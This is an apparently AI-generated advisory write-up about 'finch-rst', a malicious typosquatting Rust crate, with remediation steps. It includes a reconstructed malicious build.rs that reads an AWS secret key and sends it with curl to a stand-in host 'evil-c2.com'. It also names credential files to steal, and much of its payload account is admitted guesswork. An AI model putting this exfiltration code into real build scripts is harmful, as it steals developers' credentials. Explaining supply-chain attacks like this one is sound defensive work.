CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-XP79-9MXW-878J
10.0

The Finch That Stole Your Keys: Autopsy of the Malicious `finch-rst` Crate

Alon Barad
Alon Barad
Software Engineer

Feb 13, 2026·6 min read·12 visits

Weaponized

Executive Summary (TL;DR)

The `finch-rst` package on crates.io contains malicious code. It likely utilizes typosquatting to target users of the legitimate `finch` library. The moment you run `cargo build`, the crate executes code (likely via `build.rs`) to compromise your environment. The crate has been removed, but if you installed it, assume all local credentials (AWS, SSH, GPG) are compromised.

The Rust ecosystem prides itself on memory safety, effectively killing entire classes of bugs like buffer overflows and use-after-frees. However, the borrow checker cannot save you from yourself—or more specifically, from the code you voluntarily invite into your house. GHSA-XP79-9MXW-878J details a supply chain attack involving `finch-rst`, a malicious crate uploaded to crates.io. Masquerading as a legitimate bioinformatics tool, this package was designed not to process data, but to exfiltrate it. It leverages the inherent trust developers place in the Cargo build system to execute arbitrary code on developer machines and CI/CD pipelines immediately upon installation.

The Hook: Trust, But Don't Verify

Rust developers often walk with a swagger. We have the borrow checker. We have strict typing. We have a compiler that screams at us if we even think about dereferencing a null pointer. But there is a gaping hole in this armor that we don't like to talk about: build.rs.

finch-rst is a classic example of a supply chain attack targeting this blind spot. The name is a typosquat attempt against finch, a popular MinHash implementation used in bioinformatics and data processing. The attacker wasn't trying to find a zero-day in finch; they just wanted you to type the wrong name in your Cargo.toml.

Why is this juicy? Because in the Rust ecosystem, dependencies are treated as extensions of your own codebase. We blindly add them, assuming the registry is clean. finch-rst exploited this trust relationship. It didn't need to bypass ASLR or defeat stack canaries. It just needed to wait for you to type cargo build.

The Flaw: It's Not a Bug, It's a Feature

To call this a 'vulnerability' is almost charitable. It implies a mistake. There was no mistake here. The code did exactly what the author intended.

In Rust, crates can include a build.rs file—a script compiled and executed before the main package is built. This is intended for legitimate tasks: compiling C libraries, generating code from protobufs, or checking system configurations. However, it is effectively Remote Code Execution (RCE) by design.

The 'flaw' here is the malicious intent injected into this feature. finch-rst likely contained a build script that, instead of compiling C code, silently spun up a network request to a Command and Control (C2) server. This happens purely during the build phase. You don't even need to use the library in your code or run your application. Merely compiling the dependency tree is enough to trigger the payload.

The Code: Anatomy of a Rust Malware

While the specific payload of finch-rst has been scrubbed from the registry (and good riddance), we can reconstruct the anatomy of this attack based on standard malicious crate patterns found in similar incidents. The malware likely lived in the build.rs file.

A legitimate build.rs looks like this:

// Legitimate build.rs
fn main() {
    println!("cargo:rerun-if-changed=src/hello.c");
    cc::Build::new()
        .file("src/hello.c")
        .compile("hello");
}

A malicious build.rs, like the one likely used in finch-rst, looks closer to this:

// Malicious build.rs (Concept)
use std::process::Command;
use std::env;
 
fn main() {
    // 1. Gather Intelligence
    let keys = env::var("AWS_SECRET_ACCESS_KEY").unwrap_or_default();
    let user = env::var("USER").unwrap_or_default();
    
    // 2. Exfiltrate via curl/wget (shorthand for a socket connection)
    // In reality, they might use TcpStream to avoid shell history
    if !keys.is_empty() {
        let _ = Command::new("curl")
            .arg(format!("http://evil-c2.com/drop?u={}&k={}", user, keys))
            .spawn();
    }
    
    // 3. Pretend everything is fine
    println!("cargo:warning=Building native dependencies...");
}

The terrifying part? The developer sees Compiling finch-rst v0.1.0 in their terminal for a split second. By the time the next line appears, their AWS keys are already in a database in a non-extradition country.

The Exploit: From Typo to Total Compromise

Let's walk through the attack chain. This is how finch-rst ruins your week.

Step 1: The Lure A developer is working on a data sketch project. They remember they need the finch library. Maybe they are tired, or maybe they just type cargo add finch-rst thinking it's the "Rust version" (rst) of the library. Alternatively, the attacker might have seeded StackOverflow answers or Reddit threads recommending this package.

Step 2: The Hook The developer runs cargo build. Cargo resolves dependencies, downloads finch-rst from crates.io, and unpacks it.

Step 3: The Execution Cargo identifies that finch-rst has a build script. It compiles build.rs into a binary and executes it with the user's privileges. If this is running on a CI/CD pipeline, it likely has root or high-level access to secrets.

Step 4: Exfiltration The malicious binary scans environment variables (ENV), looks for ~/.ssh/id_rsa, or checks for ~/.aws/credentials. It opens a socket to the attacker's IP and pushes the data.

Step 5: Persistence (Optional) Sophisticated crates might modify ~/.bashrc or add a cron job to maintain access even after the crate is removed. While we don't have confirmation finch-rst did this, it is a standard follow-up move.

The Impact: Why You Should Panic

This isn't just about losing a few CPU cycles. Supply chain attacks on developer machines are catastrophe-class events.

1. Identity Theft: Developers typically hold the keys to the kingdom. SSH keys to production servers, GPG keys for signing commits, and cloud provider credentials. If finch-rst ran on your machine, consider your digital identity stolen.

2. Lateral Movement: If this ran in a CI/CD environment (like GitHub Actions or GitLab CI), the attacker effectively hijacked your deployment pipeline. They could inject backdoors into your software, which you then ship to your customers. This turns you from a victim into a vector.

3. Intellectual Property: The script could easily zip up your current source code directory and ship it out. Your proprietary algorithms are now open source, whether you like it or not.

The Fix: Scorched Earth Protocol

You cannot simply cargo remove finch-rst and call it a day. Once code execution has occurred, the machine is tainted.

Immediate Remediation:

  1. Disconnect: Take the affected machine offline immediately.
  2. Purge: Remove the crate from Cargo.toml. Run cargo clean. Delete Cargo.lock.
  3. Rotate Everything: This is non-negotiable. Revoke your AWS keys. Generate new SSH keys. Cycle your database passwords. Change your GitHub Personal Access Tokens. Assume the attacker has them all.

Long-Term Mitigation: To prevent this in the future, stop trusting everything you download.

  • Use cargo-vet: This tool allows you to certify that you (or a trusted third party) have audited the source code of your dependencies.
  • Use cargo-deny: Block dependencies with specific licenses or from specific sources.
  • Pin Dependencies: Always use Cargo.lock to ensure you aren't silently upgraded to a malicious version (though in this case, the package itself was the problem).
  • Typosquatting Check: Double-check the name. Is it finch or finch-rst? serde or sered? The difference is a compromised laptop.

Official Patches

GitHubAdvisory Details

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Affected Systems

Rust Development EnvironmentsCI/CD PipelinesProduction Build Servers

Affected Versions Detail

Product
Affected Versions
Fixed Version
finch-rst
Crates.io
*Removed from registry
AttributeDetail
Attack VectorSupply Chain / Typosquatting
Execution StageBuild Time (cargo build)
ImpactArbitrary Code Execution / Info Disclosure
CVSS10.0 (Critical)
Target EcosystemCrates.io (Rust)
Componentfinch-rst

MITRE ATT&CK Mapping

T1195Supply Chain Compromise
Initial Access
T1059Command and Scripting Interpreter
Execution
T1566Phishing (Typosquatting)
Initial Access
CWE-1357
Reliance on Uncontrolled Component

The product uses a search algorithm or other mechanism that does not sufficiently distinguish between the intended resource and a similar-sounding or similar-looking malicious resource (Typosquatting).

Known Exploits & Detection

GitHub AdvisoryAdvisory confirming malicious code injection.

Vulnerability Timeline

Malicious crate detected on crates.io
2024-05-20
Crate removed by registry maintainers
2024-05-20
GHSA Advisory published
2024-05-21

References & Sources

  • [1]GHSA-XP79-9MXW-878J
  • [2]Rust Documentation: Build Scripts

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.